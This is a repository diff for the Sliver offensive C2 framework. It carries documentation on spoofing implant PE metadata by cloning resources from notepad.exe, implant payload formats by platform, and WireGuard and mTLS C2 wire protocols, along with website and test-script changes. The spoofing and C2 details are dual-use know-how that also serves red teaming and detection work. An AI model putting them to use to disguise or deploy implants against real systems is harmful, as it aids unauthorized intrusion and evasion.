name: metadata-source.exe
path: /opt/samples/notepad.exe
resource_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_named_entries: 0
number_of_id_entries: 0
resource_directory_entries:
- name: 1
offset_to_data: 0
resource_data_entries:
- offset_to_data: 0
size: 0
code_page: 0
reserved: 0
export_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_functions: 0
number_of_names: 0
```
## Override Behavior
Override order for `pe`:
1. Sliver clones metadata/resources from `pe.source`.
2. Sliver applies explicit override fields from your config.
This means:
- If an override field is set, it replaces the cloned value.
- If an override field is omitted, the cloned donor value is kept.
Resource override details:
- `resource_directory` overrides the root `IMAGE_RESOURCE_DIRECTORY` fields.
- `resource_directory_entries` overrides the first N root directory entries in order.
- `resource_data_entries` overrides the first N resource data entries discovered in resource-tree order.
Export override details:
- `export_directory` overrides fields in the PE export directory when that directory exists.
- If a PE has no export directory, this override has no effect.
Important:
- In protobuf/YAML, scalar zero values are real override values when the parent block is present.
- When setting partial `resource_directory` values, include `number_of_named_entries` and `number_of_id_entries` from the original header unless you intentionally want to change them.
## Notes
- The client reads local file paths and sends bytes to the server over gRPC.
- Spoofing is applied only after a build completes successfully.
- The server applies spoofing to the selected existing build artifact.
- PE support is implemented first; the config is structured for future executable formats.
@@ -2,22 +2,13 @@ Sliver supports "external builders," which allow a Sliver server to offload impl
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
```
MacOS .dylib Implant Builds
┌─────────────────────────────────────┐
│ │
▼ │
┌───────────┐ ┌─────┴─────┐
│ MacOS │ Multiplayer │ Linux │
│ Builder ├────────────────────────►│ Server │
│ │ │ │
└───────────┘ └───────────┘
▲
┌───────────┐ │
│Windows │ Multiplayer │
│ Operator ├─────────────────────────────┘
│ │
└───────────┘
```mermaid:minh=340
flowchart LR
subgraph "External MacOS Builder"
builder["MacOS Builder"] -- "Multiplayer" --> server["Linux Server"]
operator["Windows Operator"] -- "Multiplayer" --> server
server -- ".dylib build task" --> builder
end
```
## Builders
@@ -32,8 +23,6 @@ Any `sliver-server` binary can be started as a builder process using [operator c
When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).
**⚠️ IMPORTANT:** Make sure the builder and server have identical `http-c2.json` configuration files to avoid incompatibility problems.
**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.
#### External Builds
@@ -0,0 +1,81 @@
This page summarizes implant payload format compatibility by target OS/architecture (`GOOS/GOARCH`).
## Common Platforms
| Target OS/Arch | Executable | Shared Library | Shellcode | Service |
| --------------- | ---------- | -------------- | --------- | ------- |
| `windows/386` | ✅ | ✅ | ✅ | ✅ |
| `windows/amd64` | ✅ | ✅ | ✅ | ✅ |
| `windows/arm64` | ⚠️ | ⚠️ | ❌ | ⚠️ |
| `linux/386` | ✅ | ✅ | ❌ | N/A |
| `linux/amd64` | ✅ | ✅ | ✅ | N/A |
| `linux/arm64` | ✅ | ✅ | ✅ | N/A |
| `darwin/amd64` | ✅ | ✅ | ❌ | N/A |
| `darwin/arm64` | ✅ | ✅ | ✅ | N/A |
### Important Notes
- `✅` = first-class support in Sliver's built-in target matrix.
- `⚠️` = generic/experimental target (not first-class; may fail depending on toolchain/target).
- `❌` = not currently supported for that payload format.
- `Service` is a Windows-only format.
- `Shellcode` is currently supported for `windows/{386,amd64}`, `linux/{amd64,arm64}`, and `darwin/arm64`.
- `Shellcode` and `Shared Library` for MacOS may require a [cross-compiler](/docs?name=Cross-compiling+Implants) or an [external builder](/docs?name=External+Builders) depending on your platform.
- On macOS hosts, targeting `linux/386` for shared library/shellcode builds is currently not reliable.
Use `generate info` in the Sliver console to see what your current server can build with its configured toolchains.
## All GOOS/GOARCH Targets
The table below covers all `GOOS/GOARCH` entries from `go tool dist list` (Go 1.24+), including common platforms:
| Target GOOS/GOARCH | Common Platform | Executable | Shared Library | Shellcode | Service |
| ------------------ | --------------- | ---------- | -------------- | --------- | ------- |
| `aix/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `android/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `darwin/amd64` | Yes | ✅ | ✅ | ❌ | N/A |
| `darwin/arm64` | Yes | ✅ | ✅ | ✅ | N/A |
| `dragonfly/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `freebsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `illumos/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `ios/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `ios/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `js/wasm` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/386` | Yes | ✅ | ✅ | ❌ | N/A |
| `linux/amd64` | Yes | ✅ | ✅ | ✅ | N/A |
| `linux/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/arm64` | Yes | ✅ | ✅ | ✅ | N/A |
| `linux/loong64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mips64le` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/mipsle` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/ppc64le` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `linux/s390x` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `netbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/ppc64` | No | ⚠️ | ❌ | ❌ | N/A |
| `openbsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/386` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `plan9/arm` | No | ⚠️ | ❌ | ❌ | N/A |
| `solaris/amd64` | No | ⚠️ | ❌ | ❌ | N/A |
| `wasip1/wasm` | No | ⚠️ | ❌ | ❌ | N/A |
| `windows/386` | Yes | ✅ | ✅ | ✅ | ✅ |
| `windows/amd64` | Yes | ✅ | ✅ | ✅ | ✅ |
| `windows/arm64` | Yes | ⚠️ | ⚠️ | ❌ | ⚠️ |
@@ -0,0 +1,124 @@
This page documents the current implant C2 WireGuard transport implementation used between `server/` and `implant/` code paths.
**Scope:** This is about implant callbacks over the `wg` listener, not operator multiplayer mode.
## Listener and Tunnel Setup
Server-side setup is implemented in `server/c2/wireguard.go` (`StartWGListener`):
1. Creates a netstack TUN with server-side tunnel IP `100.64.0.1`.
1. Loads or generates server WireGuard keys.
1. Configures a WireGuard device with known peer keys and `/32` allowed IPs.
1. Starts two TCP listeners inside the WireGuard tunnel:
- key exchange port (default `1337`)
- C2 transport port (default `8888`)
1. Exposes the WireGuard UDP listener (default `53`).
Defaults come from `server/rpc/rpc-jobs.go`:
- WireGuard UDP listener: `53`
- In-tunnel C2 TCP port (`NPort`): `8888`
- In-tunnel key exchange TCP port (`KeyPort`): `1337`
## Implant Connection Sequence
Implant-side transport is implemented in `implant/sliver/transports/wireguard/wireguard.go`:
1. The implant is generated with embedded WireGuard values:
- initial implant private key
- server public key
- peer TUN IP
- key-exchange and C2-in-tunnel ports
1. Implant brings up an initial WireGuard interface using those embedded values.
1. Implant dials the server key-exchange endpoint at `100.64.0.1:<key-exchange-port>`.
1. Server returns session WireGuard material and a session tunnel IP.
1. Implant tears down the initial WireGuard interface.
1. Implant brings up a new WireGuard interface using the session values.
1. Implant dials `100.64.0.1:<tcp-comms-port>`.
1. Implant sends `MUX/1` yamux preface and starts yamux.
After repeated failures, the implant will refresh session keys by running key exchange again.
## Key Exchange Payload Format
The key-exchange response payload is a fixed 146-byte message:
```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 40, 'bitWidth': 24, 'rowHeight': 72}}}%%
packet-beta
title WireGuard Session Key Exchange Payload (146 bytes)
0-63: "Sess PrivKey (hex)"
64: "|"
65-128: "Server PubKey (hex)"
129: "|"
130-145: "Sess TUN IP (16B)"
```
Notes:
- `Sess PrivKey (hex)` is the new implant WireGuard private key (64 hex chars).
- `Server PubKey (hex)` is the server WireGuard public key (64 hex chars).
- `Sess TUN IP (16B)` is raw `net.IP` bytes (not dotted string encoding).
## C2 Envelope Wire Format (Per Yamux Stream)
Each yamux stream carries a single framed envelope:
`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]`
```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title WireGuard C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"
```
Notes:
- Diagram offsets are bytes (not bits) for readability.
- `Alg` = LE `uint16` (`0x6445`, EdDSA).
- `Key ID` = LE `uint64`.
- `Len` = LE `uint32` protobuf payload length.
- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`.
- Length is payload length only (it does not include signature bytes).
## Envelope Payload
The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`:
- `ID` (`int64`) request/response correlation
- `Type` (`uint32`) message type
- `Data` (`bytes`) message body
- `UnknownMessageType` (`bool`) set by implants for unsupported message types
## Message Authentication Details
Like mTLS, WireGuard C2 signs each envelope payload in addition to transport-layer encryption.
### Implant -> Server
- Implant signs marshaled envelope payloads in `implant/sliver/transports/wireguard/wireguard.go` (`WriteEnvelope`).
- Signing key derivation is deterministic from implant `PeerPrivateKey`:
- seed = `sha256("env-signing-v1:" + peerPrivateKey)`
- ed25519 keypair from that seed
- key ID = first 8 bytes of `blake2b(pubKey)` as LE `uint64`
- Server verifies in `server/c2/wireguard.go` (`socketWGReadEnvelope`) by:
- checking `EdDSA` algorithm
- resolving key ID to an implant signing public key
- verifying signature with ed25519
### Server -> Implant
- Server signs payloads in `server/c2/wireguard.go` (`socketWGWriteEnvelope`) using server minisign private key.
- Implant verifies in `implant/sliver/transports/wireguard/wireguard.go` (`ReadEnvelope`) using embedded server minisign public key (`MinisignVerifyRaw`).
## Runtime Behavior
- Server rejects legacy WireGuard C2 connections that do not send the `MUX/1` preface.
- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`.
- Beacon mode and session mode both use one envelope per yamux stream.
- Server enforces max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes.
+86
View File
@@ -0,0 +1,86 @@
This page documents the current implant C2 mTLS transport implementation used between `server/` and `implant/` code paths.
**Scope:** This is about implant callbacks over the `mtls` listener, not operator multiplayer gRPC/mTLS mode.
## Connection Setup
The server listener implementation lives in `server/c2/mtls.go` (`StartMutualTLSListener`):
1. Starts a TLS listener (`tls.Listen`) for the configured bind/port.
1. Requires and verifies client certificates (`ClientAuth: tls.RequireAndVerifyClientCert`).
1. Uses the implant mTLS CA (`certs.MtlsImplantCA`) and enforces TLS 1.3 (`MinVersion: tls.VersionTLS13`).
The implant-side transport lives in `implant/sliver/transports/mtls/mtls.go` (`MtlsConnect` / `getTLSConfig`):
1. Dials TLS with an embedded implant cert/key and CA bundle.
1. Uses root validation via `RootOnlyVerifyCertificate(...)`.
1. Sends a yamux preface string (`MUX/1`) after TLS connects.
After the preface, both sides use yamux multiplexing:
- Server: `yamux.Server(...)` in `server/c2/mtls.go`
- Implant session/beacon: `yamux.Client(...)` in `implant/sliver/transports/session.go` and `implant/sliver/transports/beacon.go`
Each C2 envelope is sent over a yamux stream and then the stream is closed.
## mTLS Wire Format (Per Yamux Stream)
Each stream carries a single framed message:
`[raw minisign signature | uint32 little-endian payload length | protobuf envelope payload]`
```mermaid:minh=444
%%{init: {'packet': {'bitsPerRow': 32, 'bitWidth': 30, 'rowHeight': 72}}}%%
packet-beta
title mTLS C2 Envelope Frame (byte offsets, per yamux stream)
0-1: "Alg"
2-9: "Key ID"
10-73: "Ed25519 Signature"
74-77: "Len"
78-109: "Payload (protobuf sliverpb.Envelope, continues...)"
```
Notes:
- Diagram offsets are bytes (not bits) for readability.
- `Alg` = LE `uint16` (`0x6445`, EdDSA).
- `Key ID` = LE `uint64`.
- `Len` = LE `uint32` protobuf payload length.
- Raw signature size is fixed at 74 bytes: `2 + 8 + 64`.
- Length is the protobuf payload length only (it does not include signature bytes).
## Envelope Payload
The payload is `sliverpb.Envelope` from `protobuf/sliverpb/sliver.proto`:
- `ID` (`int64`) request/response correlation
- `Type` (`uint32`) message type
- `Data` (`bytes`) message body
- `UnknownMessageType` (`bool`) set by implants for unsupported message types
## Message Authentication Details
Sliver signs each envelope payload even though the channel is already mTLS-protected.
### Implant -> Server
- Implant signs the marshaled `sliverpb.Envelope` payload in `implant/sliver/transports/mtls/mtls.go` (`WriteEnvelope`).
- Signing key derivation is deterministic from the implant peer private key:
- seed = `sha256("env-signing-v1:" + peerPrivateKey)`
- ed25519 keypair from that seed
- key ID = first 8 bytes of `blake2b(pubKey)` as little-endian uint64
- Server verifies in `server/c2/mtls.go` (`socketReadEnvelope`):
- algorithm must be `EdDSA`
- key ID resolves to an implant signing public key via implant build metadata
- signature is verified with ed25519
### Server -> Implant
- Server signs payloads in `server/c2/mtls.go` (`socketWriteEnvelope`) using the server minisign private key (`SignRawBuf`).
- Implant verifies in `implant/sliver/transports/mtls/mtls.go` (`ReadEnvelope`) using the embedded server minisign public key (`MinisignVerifyRaw`).
## Runtime Behavior
- Server rejects legacy mTLS connections that do not send the `MUX/1` preface.
- Session mode sends in-band pings every 2 minutes (`PingInterval`) using `MsgPing`.
- Server enforces a max inbound payload size of `(2 * 1024 * 1024 * 1024) - 1` bytes.
+29 -1
View File
@@ -2,7 +2,9 @@ import AsciinemaPlayer from "@/components/asciinema";
import { SliversIcon } from "@/components/icons/slivers";
import TutorialCard from "@/components/tutorial-card";
import { Themes } from "@/util/themes";
import { Card, CardBody, CardHeader, Divider } from "@heroui/react";
import { faDownload, faExternalLink } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, CardBody, CardHeader, Divider, Link } from "@heroui/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
import React from "react";
@@ -64,6 +66,32 @@ export default function Home() {
making it an indispensable tool for conducting comprehensive
offensive security operations.
</p>
<div className="mt-4 flex w-full gap-3">
<Button
className="flex-1"
color="primary"
variant="shadow"
as={Link}
href="https://github.com/BishopFox/sliver/releases/latest"
target="_blank"
rel="noopener noreferrer"
startContent={<FontAwesomeIcon icon={faDownload} />}
>
Download Latest Release
</Button>
<Button
className="flex-1"
color="secondary"
variant="ghost"
as={Link}
href="https://github.com/sliverarmory"
target="_blank"
rel="noopener noreferrer"
endContent={<FontAwesomeIcon icon={faExternalLink} />}
>
Visit the Armory
</Button>
</div>
</CardBody>
</Card>
</div>
+171
View File
@@ -0,0 +1,171 @@
import Youtube from "@/components/youtube";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Accordion, AccordionItem, Button, Card, CardFooter } from "@heroui/react";
import { NextPage } from "next";
import Head from "next/head";
import React from "react";
type Talk = {
title: string;
description: string;
url: string;
};
type TalkSection = {
key: "workshops" | "general-tradecraft" | "community";
title: "Workshops" | "General Tradecraft" | "Community";
description: string;
talks: Talk[];
};
const workshopTalks: Talk[] = [
{
title:"Getting Started with Sliver v1.6",
description: "Introductory workshop covering basics and new features.",
url: "https://www.youtube.com/watch?v=IOiyXYp1lDc",
},
{
title: "Building Traffic Encoders",
description: "From concept to practical encoder strategy in Sliver.",
url: "https://www.youtube.com/watch?v=6unwFhurm-E",
},
{
title: "Sliver Staging and Automation",
description: "Workflow patterns for payload staging and repeatable ops.",
url: "https://www.youtube.com/watch?v=vuQ5tG5kelI&feature=youtu.be",
},
];
const generalTradecraftTalks: Talk[] = [
{
title: "Offensive WASM",
description: "Applying WebAssembly techniques in offensive tradecraft.",
url: "https://www.youtube.com/watch?v=RnSLsnP4imQ",
},
{
title: "The Sliver C2 Framework",
description: "General discussion of C2 design.",
url: "https://www.youtube.com/watch?v=tkjMZuZ_8nw",
}
];
const communityTalks: Talk[] = [
{
title: "Community Guide Video 1",
description: "Linked from Community Guides.",
url: "https://youtu.be/3R6WKUgN0K4?t=456",
},
{
title: "Community Guide Video 2",
description: "Linked from Community Guides.",
url: "https://www.youtube.com/watch?v=QO_1UMaiWHk",
},
{
title: "Community Guide Video 3",
description: "Linked from Community Guides.",
url: "https://www.youtube.com/watch?v=izMMmOaLn9g",
},
{
title: "Community Guide Video 4",
description: "Linked from Community Guides.",
url: "https://www.youtube.com/watch?v=qIbrozlf2wM",
},
{
title: "Community Guide Video 5",
description: "Linked from Community Guides.",
url: "https://www.youtube.com/watch?v=CKfjLnEMfvI",
},
];
const talkSections: TalkSection[] = [
{
key: "workshops",
title: "Workshops",
description: "Hands-on workshop recordings focused on Sliver workflows.",
talks: workshopTalks,
},
{
key: "general-tradecraft",
title: "General Tradecraft",
description: "Broader offensive engineering and tradecraft talks.",
talks: generalTradecraftTalks,
},
{
key: "community",
title: "Community",
description: "Community-created videos listed in Community Guides.",
talks: communityTalks,
},
];
const TalksIndexPage: NextPage = () => {
const [footerHidden, setFooterHidden] = React.useState<Record<string, boolean>>(
{}
);
const hideFooterFor = React.useCallback((url: string) => {
setFooterHidden((prev) => (prev[url] ? prev : { ...prev, [url]: true }));
}, []);
return (
<>
<Head>
<title>Sliver Talks</title>
</Head>
<div className="mt-6 px-4 pb-8 sm:px-6 lg:px-12">
<Accordion
selectionMode="multiple"
defaultExpandedKeys={["workshops", "general-tradecraft"]}
showDivider={false}
className="px-0"
>
{talkSections.map((section) => (
<AccordionItem
key={section.key}
aria-label={section.title}
title={section.title}
subtitle={section.description}
>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-9">
{section.talks.map((talk) => (
<div key={talk.url} className="sm:col-span-1 lg:col-span-3">
<Card isFooterBlurred className="relative z-0 overflow-hidden">
<Youtube
className="w-full"
url={talk.url}
title={talk.title}
onPlay={() => hideFooterFor(talk.url)}
/>
{footerHidden[talk.url] ? null : (
<CardFooter className="absolute bottom-0 z-10 bg-black/40 border-t-1 border-default-600 dark:border-default-100">
<div className="flex w-full items-center gap-2">
<p className="text-xs text-white/80">{talk.description}</p>
<Button
variant="ghost"
color="warning"
size="sm"
className="ml-auto"
onPress={() => {
window.open(talk.url, "_blank", "noopener,noreferrer");
}}
>
Watch <FontAwesomeIcon icon={faChevronRight} />
</Button>
</div>
</CardFooter>
)}
</Card>
</div>
))}
</div>
</AccordionItem>
))}
</Accordion>
</div>
</>
);
};
export default TalksIndexPage;
+17 -12
View File
@@ -1,4 +1,5 @@
import MarkdownViewer from "@/components/markdown";
import LoadingState from "@/components/loading-state";
import { Tutorials } from "@/util/tutorials";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchTutorials as fetchTutorialsContent } from "@/util/content-fetchers";
@@ -34,14 +35,17 @@ const TutorialsIndexPage: NextPage = () => {
});
const params = useSearchParams();
const [name, setName] = React.useState("");
const [markdown, setMarkdown] = React.useState("");
React.useEffect(() => {
const _name = params.get("name");
setName(_name || "");
setMarkdown(tutorials?.tutorials.find((tutorial) => tutorial.name === _name)?.content || "");
}, [params, tutorials]);
const name = params.get("name") || "";
const markdown = React.useMemo(() => {
return tutorials?.tutorials.find((tutorial) => tutorial.name === name)?.content || "";
}, [tutorials, name]);
const hasNameQueryInPath = React.useMemo(() => {
const query = router.asPath.split("?")[1];
if (!query) {
return false;
}
return new URLSearchParams(query).has("name");
}, [router.asPath]);
const [filterValue, setFilterValue] = React.useState("");
const fuse = React.useMemo(() => {
@@ -79,8 +83,8 @@ const TutorialsIndexPage: NextPage = () => {
}
}, [theme]);
if (isLoading || !tutorials) {
return <div>Loading...</div>;
if (isLoading || !tutorials || (hasNameQueryInPath && !name)) {
return <LoadingState />;
}
return (
@@ -127,8 +131,9 @@ const TutorialsIndexPage: NextPage = () => {
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-24 ml-4 flex flex-col gap-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
@@ -170,7 +175,7 @@ const TutorialsIndexPage: NextPage = () => {
<Divider />
<CardBody>
<MarkdownViewer
key={name || `${Math.random()}`}
key={name}
markdown={markdown || ""}
/>
</CardBody>
+32
View File
@@ -7,6 +7,37 @@
Consolas, "Liberation Mono", "Courier New", monospace;
}
/* Keep layout width stable when page content toggles vertical scrolling. */
html,
body {
scrollbar-gutter: stable both-edges;
}
/*
Keep html as the single scrolling element. Setting overflow on both html
and body breaks sticky sidebar behavior on docs/tutorial pages.
*/
html {
overflow-y: scroll;
}
/* Fallback for engines that do not support scrollbar-gutter. */
@supports not (scrollbar-gutter: stable) {
html {
overflow-y: scroll;
}
}
/*
Desktop sidebar pages are sensitive to viewport-width changes when the page
scrollbar appears/disappears. Keep the page scrollbar track persistent.
*/
@media (min-width: 1024px) {
html {
overflow-y: scroll;
}
}
code,
pre {
font-family: var(--font-mono);
@@ -19,6 +50,7 @@ pre {
.sliver-scrollbar {
scrollbar-width: thin;
scrollbar-color: rgba(148, 163, 184, 0.7) transparent;
scrollbar-gutter: stable;
}
.sliver-scrollbar::-webkit-scrollbar {
+12 -4
View File
@@ -1,7 +1,11 @@
{
"compilerOptions": {
"target": "es2020",
"lib": ["dom", "dom.iterable", "esnext"],
"lib": [
"dom",
"dom.iterable",
"esnext"
],
"allowJs": true,
"skipLibCheck": true,
"strict": true,
@@ -11,10 +15,12 @@
"moduleResolution": "bundler",
"resolveJsonModule": true,
"isolatedModules": true,
"jsx": "preserve",
"jsx": "react-jsx",
"incremental": true,
"paths": {
"@/*": ["./*"]
"@/*": [
"./*"
]
}
},
"include": [
@@ -25,5 +31,7 @@
"prebuild/generate-tutorials.js",
"util/__generated__/prebuild-version.ts"
],
"exclude": ["node_modules"]
"exclude": [
"node_modules"
]
}
+202 -206
View File
@@ -1,6 +1,5 @@
#!/bin/bash
# Sliver Implant Framework
# Copyright (C) 2019 Bishop Fox
@@ -17,11 +16,14 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -u
set -o pipefail
SKIP_GENERATE=0
for arg in "$@"; do
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
done
echo "----------------------------------------------------------------"
@@ -30,214 +32,208 @@ echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
echo "----------------------------------------------------------------"
TAGS=osusergo,netgo,go_sqlite
TEST_TMP_ROOT="$(mktemp -d)"
if [ ! -d "$TEST_TMP_ROOT" ]; then
echo "Failed to create temporary test root directory" >&2
exit 1
fi
cleanup() {
local status=$?
trap - EXIT INT TERM
# Some long-running tests (notably in server/generate) may still have child
# build processes touching files under the temp root when cleanup starts.
if command -v pkill >/dev/null 2>&1; then
pkill -TERM -P $$ 2>/dev/null || true
pkill -TERM -f "$TEST_TMP_ROOT" 2>/dev/null || true
sleep 1
pkill -KILL -P $$ 2>/dev/null || true
pkill -KILL -f "$TEST_TMP_ROOT" 2>/dev/null || true
fi
wait 2>/dev/null || true
for _ in 1 2 3 4 5; do
rm -rf "$TEST_TMP_ROOT" 2>/dev/null || true
if [ ! -e "$TEST_TMP_ROOT" ]; then
break
fi
sleep 1
done
if [ -e "$TEST_TMP_ROOT" ]; then
echo "WARNING: Failed to fully clean temp dir: $TEST_TMP_ROOT" >&2
fi
exit "$status"
}
trap cleanup EXIT INT TERM
export SLIVER_ROOT_DIR="$TEST_TMP_ROOT/sliver"
export SLIVER_CLIENT_DIR="$TEST_TMP_ROOT/sliver-client"
export SLIVER_CLIENT_ROOT_DIR="$SLIVER_CLIENT_DIR" # legacy compatibility
export HOME="$TEST_TMP_ROOT/home"
export XDG_CONFIG_HOME="$TEST_TMP_ROOT/xdg-config"
export XDG_CACHE_HOME="$TEST_TMP_ROOT/xdg-cache"
export XDG_DATA_HOME="$TEST_TMP_ROOT/xdg-data"
export TMPDIR="$TEST_TMP_ROOT/tmp"
export TMP="$TMPDIR"
export TEMP="$TMPDIR"
export GOCACHE="$TEST_TMP_ROOT/go-cache"
export GOTMPDIR="$TEST_TMP_ROOT/go-tmp"
export GOFLAGS="${GOFLAGS:-} -mod=vendor"
mkdir -p \
"$SLIVER_ROOT_DIR" \
"$SLIVER_CLIENT_DIR" \
"$HOME" \
"$XDG_CONFIG_HOME" \
"$XDG_CACHE_HOME" \
"$XDG_DATA_HOME" \
"$TMPDIR" \
"$GOCACHE" \
"$GOTMPDIR"
export PATH="$SLIVER_ROOT_DIR/go/bin:$PATH"
echo "Using isolated temp directories:"
echo " SLIVER_ROOT_DIR=$SLIVER_ROOT_DIR"
echo " SLIVER_CLIENT_DIR=$SLIVER_CLIENT_DIR"
print_failure_logs() {
cat "$SLIVER_ROOT_DIR/logs/sliver.log" 2>/dev/null || true
}
run_test_cmd() {
local name="$1"
shift
echo
echo "==> $name"
if "$@"; then
return 0
fi
print_failure_logs
return 1
}
should_skip_package() {
local pkg="$1"
local tags="${2:-}"
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
if [ -n "$tags" ]; then
go_list_cmd+=("-tags=$tags")
fi
go_list_cmd+=("$pkg")
local go_list_error
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
echo
echo "==> Skipping $pkg (unsupported on current platform)"
return 0
fi
return 1
}
collect_test_dirs() {
if command -v rg >/dev/null 2>&1; then
rg --files -g '*_test.go'
else
find client implant server util -type f -name '*_test.go' -print
fi
}
unpack_server_assets() {
if [ -x "./sliver-server" ]; then
if ./sliver-server unpack --force; then
return 0
fi
echo "sliver-server unpack failed, falling back to go run ./server unpack --force"
fi
go run -tags=server,go_sqlite ./server unpack --force
}
run_test_cmd "unpack server assets" unpack_server_assets || exit 1
TEST_DIRS=()
while IFS= read -r test_dir; do
TEST_DIRS+=("$test_dir")
done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
CLIENT_TEST_PKGS=()
IMPLANT_TEST_PKGS=()
SERVER_UTIL_TEST_PKGS=()
for test_dir in "${TEST_DIRS[@]}"; do
pkg="./$test_dir"
case "$pkg" in
./server/c2 | ./server/generate)
# handled separately below
;;
./client/*)
CLIENT_TEST_PKGS+=("$pkg")
;;
./implant/*)
IMPLANT_TEST_PKGS+=("$pkg")
;;
./server/* | ./util*)
SERVER_UTIL_TEST_PKGS+=("$pkg")
;;
esac
done
## Client
# client / command / alias
if go test -tags=client,$TAGS ./client/command/alias ; then
:
else
exit 1
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
:
else
exit 1
fi
# client / credentials
if go test -tags=client,$TAGS ./client/credentials ; then
:
else
exit 1
fi
## Util
# util
if go test -tags=server,$TAGS ./util ; then
:
else
exit 1
fi
# util / encoders
if go test -tags=server,$TAGS ./util/encoders/basex ; then
:
else
exit 1
fi
if go test -tags=server,$TAGS ./util/encoders ; then
:
else
exit 1
fi
# util / minisign
if go test -tags=server,$TAGS ./util/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
for pkg in "${CLIENT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "client,$TAGS"; then
continue
fi
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
done
## Implant
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg"; then
continue
fi
run_test_cmd "$pkg" go test "$pkg" || exit 1
done
# implant / sliver / extension
if go test ./implant/sliver/extension ; then
:
else
exit 1
fi
## Server + Util
for pkg in "${SERVER_UTIL_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "server,$TAGS"; then
continue
fi
case "$pkg" in
./server/assets/traffic-encoders | ./server/encoders)
run_test_cmd "$pkg" go test -timeout 10m -tags="server,$TAGS" "$pkg" || exit 1
;;
./server/rpc)
run_test_cmd "$pkg" go test -vet=off -timeout 30m -tags="server,$TAGS" "$pkg" || exit 1
;;
*)
run_test_cmd "$pkg" go test -tags="server,$TAGS" "$pkg" || exit 1
;;
esac
done
# implant / sliver / transports / dnsclient
if go test ./implant/sliver/transports/dnsclient ; then
:
else
exit 1
fi
## Server c2 (unit + e2e)
